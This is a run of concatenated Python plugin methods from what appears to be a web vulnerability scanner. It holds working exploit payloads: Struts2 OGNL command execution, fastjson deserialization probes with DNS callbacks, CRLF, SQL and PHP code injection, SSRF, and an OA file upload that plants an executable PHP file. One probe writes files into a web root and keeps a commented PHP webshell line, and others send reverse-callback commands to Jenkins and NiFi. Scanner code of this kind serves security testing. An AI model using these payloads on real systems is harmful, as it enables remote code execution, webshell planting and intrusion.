def verify(self): if not self.dictdata.get("request").get( "content_type") == 4: # data数据类型为json return parse = dictdata_parser(self.dictdata) if not self.can_output(parse.getrootpath() + self.name): # 限定只输出一次 return body = parse.getrequestbody() req = parse.generaterequest({"data": body.replace(b"}", b"", 1)}) r = request(**req) if r != None: keys = ["jackson", "fastjson", "autotype"] for key in keys: if key.encode() in r.content.lower(): parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) self.can_output(parse.getrootpath() + self.name, True) return
def verify(self): # 添加限定条件 if self.dictdata.get("url").get("extension").lower() not in [ "do", "action" ]: return self.parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") random_str = get_random_str(6) headers = copy.deepcopy(self.dictdata.get("request").get("headers")) headers['Content-Type'] = 'application/x-www-form-urlencoded' if params: for param in params: payload = "(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('echo " + random_str + "').getInputStream()))" req = self.parser.getreqfromparam(param, "w", payload) r = request(**req) if r != None: if re.search( "[^(echo)][^ (%20)]{}|^\s*{}\s*$".format( random_str, random_str).encode(), r.content): parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl().split("?")[0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } })
def verify(self): # 添加限定条件 if self.dictdata.get("url").get("extension").lower() not in [ "do", "action" ]: return self.parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") ran_a = random.randint(10000000, 20000000) ran_b = random.randint(1000000, 2000000) ran_number = '${%d-%d}' % (ran_a, ran_b) payloads = [ ran_number, ] checks = [str(ran_a - ran_b)] headers = copy.deepcopy(self.dictdata.get("request").get("headers")) headers['Content-Type'] = 'application/x-www-form-urlencoded' if params: for param in params: for payload in payloads: req = self.parser.getreqfromparam(param, "w", payload) r = request(**req) if r != None: for check in checks: if check.encode() in r.content: self.save(r, payload) return
def verify(self): # 添加限定条件 if self.dictdata.get("url").get("extension").lower() not in ["do", "action"]: return self.parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") ran_a = random.randint(10000000, 20000000) ran_b = random.randint(1000000, 2000000) ran_number = '%{{{}-{}}}'.format(ran_a, ran_b) check = str(ran_a - ran_b).encode() if params: for param in params: req = self.parser.getreqfromparam(param, "w",ran_number ) r = request(**req) if r!=None and check in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl().split("?")[0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } }) return
def verify(self): if not self.dictdata.get("request").get( "content_type") == 4: # data数据类型为json return parse = dictdata_parser(self.dictdata) if not self.can_output(parse.getrootpath() + self.name): # 限定只输出一次 return payload_ = '''{"%(random_str)s": {"@type": "java.net.Inet4Address", "val": "%(domain)s"}}''' random_str = get_random_str(6).lower() _, domain_ = generate(parse.getfilepath(), "dns") payload = payload_ % {"random_str": random_str, "domain": domain_} req = parse.generaterequest({"data": payload}) r = request(**req) if r is not None: res, res_data = query_reverse(domain_) if res: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "{} in dnslog".format(domain_), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) self.can_output(parse.getrootpath() + self.name, True) return
def verify(self): if self.dictdata.get("url").get("extension") in notAcceptedExt: return parser = dictdata_parser(self.dictdata) # 以下为fuzz带.的参数值,但是可能收集的跳转正则不全 params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") if params: for param in params: value = urlparse.unquote(param.get("value")) if ("." in value and not value.replace(".", "").isdigit()) or self.isneedtest(param): # 防止1.00这种全带数字的 # payloads, random_str = self.genpayload("{protocol}://{host}".format(**self.dictdata.get("url")), 6) payloads, random_str = self.genpayload(value, 6) payloads += list( map(lambda x: x.replace(self.dictdata.get("url").get("protocol") + "://", "", 1), payloads)) for payload in set(payloads): req = parser.getreqfromparam(param, "w", payload) r = request(**req) if r != None: if self.findheadersredirect(r, random_str): self.save(r, param.get("name"), payload, "跳转在headers里") break res, reg_str = self.findbodyredirect(r.text, random_str) if res: self.save(r, param.get('name'), payload, "跳转在body里,rule:{} result:{}".format(reg_str, res)) break
def verify(self): if self.dictdata.get("url").get("extension").lower() in notAcceptedExt: return if not str(self.dictdata["response"]["status"]).startswith("3"): return # thanks payloads :https://github.com/w-digital-scanner/w13scan/blob/master/W13SCAN/plugins/PerFile/crlf.py # 漏洞如xss一般,讲究输出在header里,这里先fuzz一下,后面会该代码,先判断参数值是否输出在headers里,再进行payload的探测 ''' from: https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/crlf-injection.yaml - "{{BaseURL}}/%0D%0ASet-Cookie:crlfinjection=crlfinjection" - "{{BaseURL}}/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection" # unicode bypass - "{{BaseURL}}/%0DSet-Cookie:crlfinjection=crlfinjection" - "{{BaseURL}}/%0ASet-Cookie:crlfinjection=crlfinjection" - "{{BaseURL}}/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection" - "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.." # Apache - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection" # CVE-2016-4975 - "{{BaseURL}}/?Page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&callback=%0D%0ASet-Cookie:crlfinjection=crlfinjection&checkout_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&content=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continue=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continueTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&counturl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&data=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&document=%0D%0ASet-Cookie:crlfinjection=crlfinjection&domain=%0D%0ASet-Cookie:crlfinjection=crlfinjection&done=%0D%0ASet-Cookie:crlfinjection=crlfinjection&download=%0D%0ASet-Cookie:crlfinjection=crlfinjection&feed=%0D%0ASet-Cookie:crlfinjection=crlfinjection&file=%0D%0ASet-Cookie:crlfinjection=crlfinjection&host=%0D%0ASet-Cookie:crlfinjection=crlfinjection&html=%0D%0ASet-Cookie:crlfinjection=crlfinjection&http=%0D%0ASet-Cookie:crlfinjection=crlfinjection&https=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&imageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&include=%0D%0ASet-Cookie:crlfinjection=crlfinjection&media=%0D%0ASet-Cookie:crlfinjection=crlfinjection&navigation=%0D%0ASet-Cookie:crlfinjection=crlfinjection&next=%0D%0ASet-Cookie:crlfinjection=crlfinjection&open=%0D%0ASet-Cookie:crlfinjection=crlfinjection&out=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&pageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&picture=%0D%0ASet-Cookie:crlfinjection=crlfinjection&port=%0D%0ASet-Cookie:crlfinjection=crlfinjection&proxy=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirectUri&redirectUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&reference=%0D%0ASet-Cookie:crlfinjection=crlfinjection&referrer=%0D%0ASet-Cookie:crlfinjection=crlfinjection&req=%0D%0ASet-Cookie:crlfinjection=crlfinjection&request=%0D%0ASet-Cookie:crlfinjection=crlfinjection&retUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return=%0D%0ASet-Cookie:crlfinjection=crlfinjection&returnTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&rurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&show=%0D%0ASet-Cookie:crlfinjection=crlfinjection&site=%0D%0ASet-Cookie:crlfinjection=crlfinjection&source=%0D%0ASet-Cookie:crlfinjection=crlfinjection&src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&target=%0D%0ASet-Cookie:crlfinjection=crlfinjection&to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&uri=%0D%0ASet-Cookie:crlfinjection=crlfinjection&url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&val=%0D%0ASet-Cookie:crlfinjection=crlfinjection&validate=%0D%0ASet-Cookie:crlfinjection=crlfinjection&view=%0D%0ASet-Cookie:crlfinjection=crlfinjection&window=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection" ''' payloads = [ "\r\nTestInject: myscan", "\r\n\tTestInject: myscan", "\r\n TestInject: myscan", "\r\tTestInject: myscan", "\nTestInject: myscan", "\rTestInject: myscan", "%0ATestInject: myscan/..", "%3F%0DTestInject: myscan", "%E5%98%8A%E5%98%8DTestInject: myscan", "%0d%0aTestInject: myscan", r"\r\nCTestInject: myscan", # twitter crlf "嘊嘍TestInject: myscan", # nodejs crlf "čĊTestInject: myscan", ] parser = dictdata_parser(self.dictdata) # params_url = parser.getrequestparams_urlorcookie("url") params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") for param in params: for payload in payloads: req = parser.getreqfromparam(param, "a", payload) r = request(**req) if r != None: resp_headers = str(r.headers) res = re.search("TestInject': 'myscan'", resp_headers) if res: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.dictdata.get("url").get("url").split("?")[0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } })
def verify(self): # 添加限定条件 if self.dictdata.get("url").get("extension").lower() not in [ "do", "action", "" ]: return self.parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") rs1 = get_random_str(4) rs2 = get_random_str(4) random_str = "{} {}".format(rs1, rs2) if params: for param in params: payload = "(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('echo " + random_str + "').getInputStream()))" req = self.parser.getreqfromparam(param, "w", payload) r1 = request(**req) if r1 != None and check_echo(r1.content, rs1, rs2): parser_ = response_parser(r1) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "commond": "echo {}".format(random_str), "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } })
def verify(self): # 添加限定条件 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return self.parser = dictdata_parser(self.dictdata) filename = get_random_str(4) + ".txt" random_str = get_random_str(10) # payload = "http|echo \"<?php echo(passthru(\\$_GET['cmd']));?>\" >> /usr/www/" + shell_filename + " && chmod +x /usr/www/" + shell_filename + "||" payload = "http|echo \"" + random_str + "\" >> /usr/www/" + filename + " && chmod +x /usr/www/" + filename + "||" req = { "method": "GET", "url": self.url + "include/makecvs.php?Event=" + payload, "verify": False, "timeout": 10, } r = request(**req) time.sleep(1) if r is not None and r.status_code == 200 and b"Service,DateTime" in r.content: req["url"] = self.url + filename r1 = request(**req) if r1 is not None and random_str.encode() in r1.content: parser1 = response_parser(r1) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "you can upload your webshell", "request": parser1.getrequestraw(), "response": parser1.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return reverse_urls, reverse_data = generate_reverse_payloads(self.name) _, dns_data = generate(self.name, "dns") tasks = [] for reverse_url in reverse_urls: for cmd in [reverse_url, reverse_url.replace(reverse_set.get("reverse_http_ip", ""), dns_data)]: for path in ["", "securityRealm/user/admin/"]: tasks.append((cmd, path)) mythread(self.run, list(set(tasks))) sleep = True for hexdata in [reverse_data, dns_data]: query_res, _ = query_reverse(hexdata, sleep) sleep = False if query_res: parser_ = dictdata_parser(self.dictdata) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others:": "{} in dnslog".format(hexdata), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) break
def verify(self): if self.dictdata.get("url").get("extension") in notAcceptedExt: return self.parse = dictdata_parser(self.dictdata) if not self.can_output(self.parse.getrootpath() + self.name): # 限定只输出一次 return # 针对参数为json格式 params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") test_args = [] for param in params: arg = param.get("value", "") if isjson(arg): test_args.append(param) # 针对body部分为json格式的数据包 if self.dictdata.get("request").get( "content_type") == 4: # data数据类型为json test_args.append(None) payloads = [ '''{"RANDOM": {"@type": "java.net.Inet4Address", "val": "DOMAIN"}}''', '''Set[{"@type":"java.net.URL","val":"http://DOMAIN"}''', '''{{"@type":"java.net.URL","val":"http://DOMAIN"}:0''', '''{"@type":"java.net.InetSocketAddress"{"address":,"val":"DOMAIN"}}''', ] if test_args: datas = [] for payload in payloads: for arg_ in test_args: datas.append((payload, arg_)) mythread(self.send_payload, datas, cmd_line_options.threads) # query dns log sleep = True for param, hexdata in self.hexdatas: res, res_data = query_reverse(hexdata, sleep) sleep = False if res: self.result.append({ "name": self.name, "url": self.parse.getrootpath(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "{} in dnslog".format(hexdata), "param": "no param ,body vuln" if param is None else param.get( "name", ""), "request": self.parse.getrequestraw(), "response": self.parse.getresponseraw() } }) self.can_output(self.parse.getrootpath() + self.name, True) return
def verify(self): if self.dictdata.get("url").get("extension") in notAcceptedExt: return self.parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") if params: for param in params: value = urlparse.unquote(param.get("value")) test = False if self.isneedtest(param) and not re.search( "^http[s]?://", value): test = True value = "{protocol}://{host}".format( **self.dictdata.get("url")) if re.search("^http[s]?://", value) or test: host = urlparse.urlparse(value).netloc.split(":")[0] info = "ssrf_" + get_random_str(5) payloads = [] for method in ["http", "dns"]: url, hexdata = self.generatepayload(info, method) payloads.append((url, hexdata)) for url_ in set([ url, "{}#@{}".format( url, self.parser.url.get("host")), # 利用#绕过 "{}#@{}".format(url, host), ]): req = self.parser.getreqfromparam(param, "w", url_) r = request(**req) self.querytosave(payloads, param)
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return reverse_urls, hexdata_url = generate_reverse_payloads(self.name) reverse_dnscmd, hexdata_dns = generate_reverse_payloads(self.name, "dns") tasks = reverse_dnscmd + reverse_urls for task in tasks: self.exploit(task) # 存在delete task,单线程比较好 if self.isnifi: sleep = True for hexdata in [hexdata_url, hexdata_dns]: query_res, _ = query_reverse(hexdata, sleep) sleep = False if query_res: parser_ = dictdata_parser(self.dictdata) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others:": "{} in dnslog".format(hexdata), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) break
def verify(self): if self.dictdata.get("url").get("extension").lower() not in [ 'js', 'css', 'png', 'gif', 'svg' ]: parser = dictdata_parser(self.dictdata) request_headers_forpayload = self.delcookie_token() req = { "method": self.dictdata.get("request").get("method"), "url": parser.getfilepath(), "params": parser.getrequestparams_urlorcookie("url"), "headers": request_headers_forpayload, "data": parser.getrequestbody(), "timeout": 10, "verify": False, "allow_redirects": False, } r = request(**req) if r != None: rate = similar(r.content, parser.getresponsebody()) if rate > self.similar_min: self.result.append({ "name": self.name, "url": parser.url.get("url"), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "similar_rate": rate, "request": parser.getrequestraw(), "response": parser.getresponseraw() } })
def verify(self): # 限定一下目录深度,reverse还是严格点 if self.url.count("/") != 3: return reverse_urls, hexdata_url = generate_reverse_payloads(self.name) reverse_dnscmd, hexdata_dns = generate_reverse_payloads( self.name, "dns") # reverse_urls_ = filter(lambda x: x.startswith("curl") or x.startswith("wget"), reverse_urls) tasks = reverse_dnscmd + reverse_urls mythread(self.run, tasks) sleep = True for hexdata in [hexdata_url, hexdata_dns]: query_res, _ = query_reverse(hexdata, sleep) sleep = False if query_res: parser_ = dictdata_parser(self.dictdata) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others:": "{} in dnslog".format(hexdata), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) break
def verify(self): if self.dictdata.get("url").get("extension")[:3] not in ["php", ""]: return parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") num1 = get_random_num(8) num1_md5 = getmd5(num1) regx = 'Parse error: syntax error,.*?\sin\s' payloads = ( "print(md5({}));", " print(md5({}));", ";print(md5({}));", "';print(md5({}));$a='", "\";print(md5({}));$a=\"", "${{@print(md5({}))}}", "${{@print(md5({}))}}\\", "'.print(md5({})).'" ) if params: for param in params: for payload in payloads: method = "a" if payload[0] == "p" else "w" payload=payload.format(num1) req = parser.getreqfromparam(param, text=payload, method=method) r = request(**req) if r is not None: if num1_md5 in r.text: self.save(r, param, payload) break elif re.search(regx, r.text, re.I | re.S): self.save(r, param, "search rule: " + regx) break
def __init__(self, workdata): self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例 self.parse = dictdata_parser(self.dictdata) self.url = workdata.get( "data") # self.url为需要测试的url,但不会包含url参数,如https://www.baidu.com/index.php#tip1 .不会携带url参数,如?keyword=1 self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码 self.name = "fastjson_deserialization_rce" self.vulmsg = "cool rce ! exploit it ! " self.level = 1 # 0:Low 1:Medium 2:High
def verify(self): # 添加限定条件 if self.dictdata.get("request").get("method").lower() != "post": return self.parser = dictdata_parser(self.dictdata) if b"<=LT-" in self.parser.getrequestbody(): poc = mypoc(self.workdata) poc.verify() self.result = poc.result
def verify(self): if self.dictdata.get("url").get("extension") not in "": return if not self.can_output(self.parse.getrootpath() + self.name): # 限定只输出一次 return self.parse = dictdata_parser(self.dictdata) reqs = [] params = self.dictdata.get("request").get("params").get("params_url") # body为urlencode类型 if self.dictdata.get("request").get( "content_type") == 1: # data数据类型为urlencode params += self.dictdata.get("request").get("params").get( "params_body") # gen,payload 具体参数自己慢慢测试吧,没标定是那个参数 cmds = [] payloads_, hexdata = generate_reverse_payloads(self.name) _, dnshexdata = generate_reverse_payloads(self.name, "dns") for payload in payloads_: cmds.append(payload) cmds.append( payload.replace(reverse_set.get("reverse_http_ip"), dnshexdata)) for param in params: for cmd in cmds: for payload, func in self.payloads: payload = payload % (func(cmd)) req = self.parse.getreqfromparam(param, "a", payload, False) reqs.append(req) # send it mythread(self.send, reqs) # query sleep = True for hexdata in [hexdata, dnshexdata]: query_res, _ = query_reverse(hexdata, sleep) sleep = False if query_res: self.result.append({ "name": self.name, "url": self.parse.getrootpath(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others:": "{} in dnslog".format(hexdata), "request": self.parse.getrequestraw(), "response": self.parse.getresponseraw() } }) self.can_output(self.parse.getrootpath() + self.name, True) break
def verify(self): # 添加限定条件 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return self.parser = dictdata_parser(self.dictdata) random1 = get_random_num(4) random2 = get_random_num(4) payload_ = "LS0tLS0tLS0tLTE2NzM4MDEwMTgKQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJVUExPQURfTU9ERSIKCjIKLS0tLS0tLS0tLTE2NzM4MDEwMTgKQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJQIgoKMTIzCi0tLS0tLS0tLS0xNjczODAxMDE4CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0iREVTVF9VSUQiCgoyCi0tLS0tLS0tLS0xNjczODAxMDE4CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0iQVRUQUNITUVOVCI7IGZpbGVuYW1lPSJwaHAuIgpDb250ZW50LVR5cGU6IGltYWdlL2pwZWcKCjw/cGhwCmVjaG8gKE5VTTErTlVNMik7Cj8+Ci0tLS0tLS0tLS0xNjczODAxMDE4LS0K" payload_ = base64.b64decode(payload_.encode()).decode().replace( "\n", "\r\n") payload_ = payload_.replace("NUM1", str(random1)).replace( "NUM2", str(random2)) req = { "url": self.url + "ispirit/im/upload.php", "method": "POST", "headers": { "Content-Type": "multipart/form-data; boundary=--------1673801018" }, "verify": False, "data": payload_, "timeout": 10, } r = request(**req) if r is not None and r.content.startswith(b"+OK"): res = re.search(r"\+OK \[vm\]\d+@(\d+)_(\d+)\|php", r.content.decode(errors="ignore")) if res and len(res.groups()) == 2: path1, path2 = res.groups() path = "im/{}/{}.php".format(path1, path2) req1 = { "url": self.url + path, "method": "GET", "verify": False, "timeout": 10 } r_ = request(**req1) if r_ is not None and str(random1 + random2).encode() in r_.content: parser_ = response_parser(r) parser1 = response_parser(r_) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "you can upload your webshell", "request1": parser_.getrequestraw(), "response1": parser_.getresponseraw(), "request2": parser1.getrequestraw(), "response2": parser1.getresponseraw() } })
def verify(self): if self.dictdata.get("url").get("extension") in notAcceptedExt: return # 配置不当 parser = dictdata_parser(self.dictdata) resp_headers = self.dictdata.get("response").get("headers") flag1 = False flag2 = False if resp_headers: resp_headers_lowerstr=str(resp_headers).lower() ''' lowerstr like: {'access-control-expose-headers': 'content-range', 'server': 'nginx', 'cache-control': 'max-age=0', 'access-control-allow-origin': 'https://gia.jd.com.jd.com', 'access-control-allow-credentials': 'true', 'connection': 'keep-alive', 'vary': 'origin', 'expires': 'mon, 17 feb 2020 05:27:21 gmt', 'content-length': '0', 'date': 'mon, 17 feb 2020 05:27:21 gmt', 'content-type': 'text/html;charset=utf-8', 'accept': 'text/html'} ''' if "'access-control-allow-credentials': 'true'".lower() in resp_headers_lowerstr and "'access-control-allow-origin': '*'".lower() in resp_headers_lowerstr: self.result.append({ "name": self.name, "url": self.dictdata.get("url").get("url").split("?")[0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser.getrequestraw(), "response": parser.getresponseraw(), } }) # 代码过滤不严 request_headers=self.dictdata.get("request").get("headers") if request_headers: for k,v in request_headers.items(): if "origin" in k.lower(): if v.count(".")<2: # 防止后续切割'.'错误 v+=".com.cn" host=".".join(v.split(".")[-2:]) request_headers_forpayload=copy.deepcopy(request_headers) fake_origin=(v+"."+get_random_str(3)+host).lower() request_headers_forpayload[k]=fake_origin req=parser.generaterequest({"headers": request_headers_forpayload}) r = request(**req) if r!=None: if r.headers: for k,v in r.headers.items(): if k.lower()=="Access-Control-Allow-Origin".lower() and fake_origin in v.lower(): parser_=response_parser(r) self.result.append({ "name": self.name, "url": self.dictdata.get("url").get("url").split("?")[0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } }) break
def __init__(self, workdata): self.dictdata = workdata.get( "dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例 # scheme的poc不同perfoler和perfile,没有workdata没有data字段,所以无self.url self.result = [ ] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码 self.name = "sensitive_msg_transfer" self.vulmsg = "发现敏感信息" self.level = 0 # 0:Low 1:Medium 2:High self.parser = dictdata_parser(self.dictdata)
def __init__(self, workdata): self.dictdata = workdata.get( "dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例 # scheme的poc不同perfoler和perfile,没有workdata没有data字段,所以无self.url self.result = [ ] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码 self.name = "baseline" self.vulmsg = "基线检查,包含版本泄漏,jquery库xss,等其他" self.level = 0 # 0:Low 1:Medium 2:High self.parse = dictdata_parser(self.dictdata)
def verify(self): if self.dictdata.get("url").get("extension") in notAcceptedExt: return parser = dictdata_parser(self.dictdata) # send again . to find dynamic text self.dynamic = [] r = request(**parser.getrawrequest()) if r != None: ret = findDynamicContent(parser.getresponsebody().decode(errors="ignore"), r.text) if ret: self.dynamic.extend(ret) if self.dictdata.get("response").get("mime_stated") == "HTML": self.text = getFilteredPageContent(removeDynamicContent(r.text, self.dynamic)) else: self.text = removeDynamicContent(r.text, self.dynamic) else: return # test url and body params sql_flag = [ "'and'{0}'='{1}", '"and"{0}"="{1}', ] #url and body params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") if params: for param in params: success = False payloads = copy.deepcopy(sql_flag) if param.get("value") in ["desc", "asc"]: payloads = ",if('{0}'='{1}',1,(select 1 from information_schema.tables))" for payload in payloads: random_str = get_random_str(2).lower() payload_right = payload.format(random_str + "a", random_str + "a") payload_false = payload.format(random_str + "b", random_str + "c") req_true = parser.getreqfromparam(param, "a", payload_right) req_false = parser.getreqfromparam(param, "a", payload_false) if self.inject(req_false, req_true, payload_right, payload_false): success = True break if not success and str(param.get("value")).isdigit(): param_value = param.get("value") random_num = random.randint(2, 8) payloads_num = [ ("/0", "*1"), ("/**/and+{0}={1}".format(random_num, random_num + 1), "/**/and+{0}={1}".format(random_num, random_num)), ] for payload_false, payload_right in payloads_num: req_true = parser.getreqfromparam(param, "a", payload_right) req_false = parser.getreqfromparam(param, "a", payload_false) if self.inject(req_false, req_true, param_value + payload_right, param_value + payload_false): break pass
def verify(self): if self.dictdata.get("url").get("extension") in notAcceptedExt: return #搜索返回包: parser = dictdata_parser(self.dictdata) if self.search(parser.getresponsebody(), "Null payload , errors in response text "): return # pass # body url参数注入 random_num = get_random_num(8) random_num_md5 = getmd5(random_num) payloads = [ ('鎈\'"\(', None, "a"), ('"and/**/extractvalue(1,concat(char(126),md5({})))and"'.format( random_num), random_num_md5, "a"), ("'and/**/extractvalue(1,concat(char(126),md5({})))and'".format( random_num), random_num_md5, "a"), ("'and(select'1'from/**/cast(md5({})as/**/int))>'0".format( random_num), random_num_md5, "a"), ('"and(select\'1\'from/**/cast(md5({})as/**/int))>"0'.format( random_num), random_num_md5, "a"), ("'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','{}')))>'0" .format(random_num), random_num_md5, "a"), ('"and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes(\'MD5\',\'{}\')))>"0' .format(random_num), random_num_md5, "a"), ("'and/**/extractvalue(1,concat(char(126),md5({})))and'".format( random_num), random_num_md5, "a"), ('"and/**/extractvalue(1,concat(char(126),md5({})))and"'.format( random_num), random_num_md5, "a"), ("/**/and/**/cast(md5('{}')as/**/int)>0".format(random_num), random_num_md5, "a"), ("convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','{}')))". format(random_num), random_num_md5, "w"), ("extractvalue(1,concat(char(126),md5({})))".format(random_num), random_num_md5, "w") ] params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") if params: for param in params: for payload, search_str, method in payloads: req = parser.getreqfromparam(param, method, payload) r = request(**req) if search_str == None: if self.search(r, payload): break # pass else: if self.search_md5(r, random_num_md5[10:20], payload): break # pass # cookie注入 pass
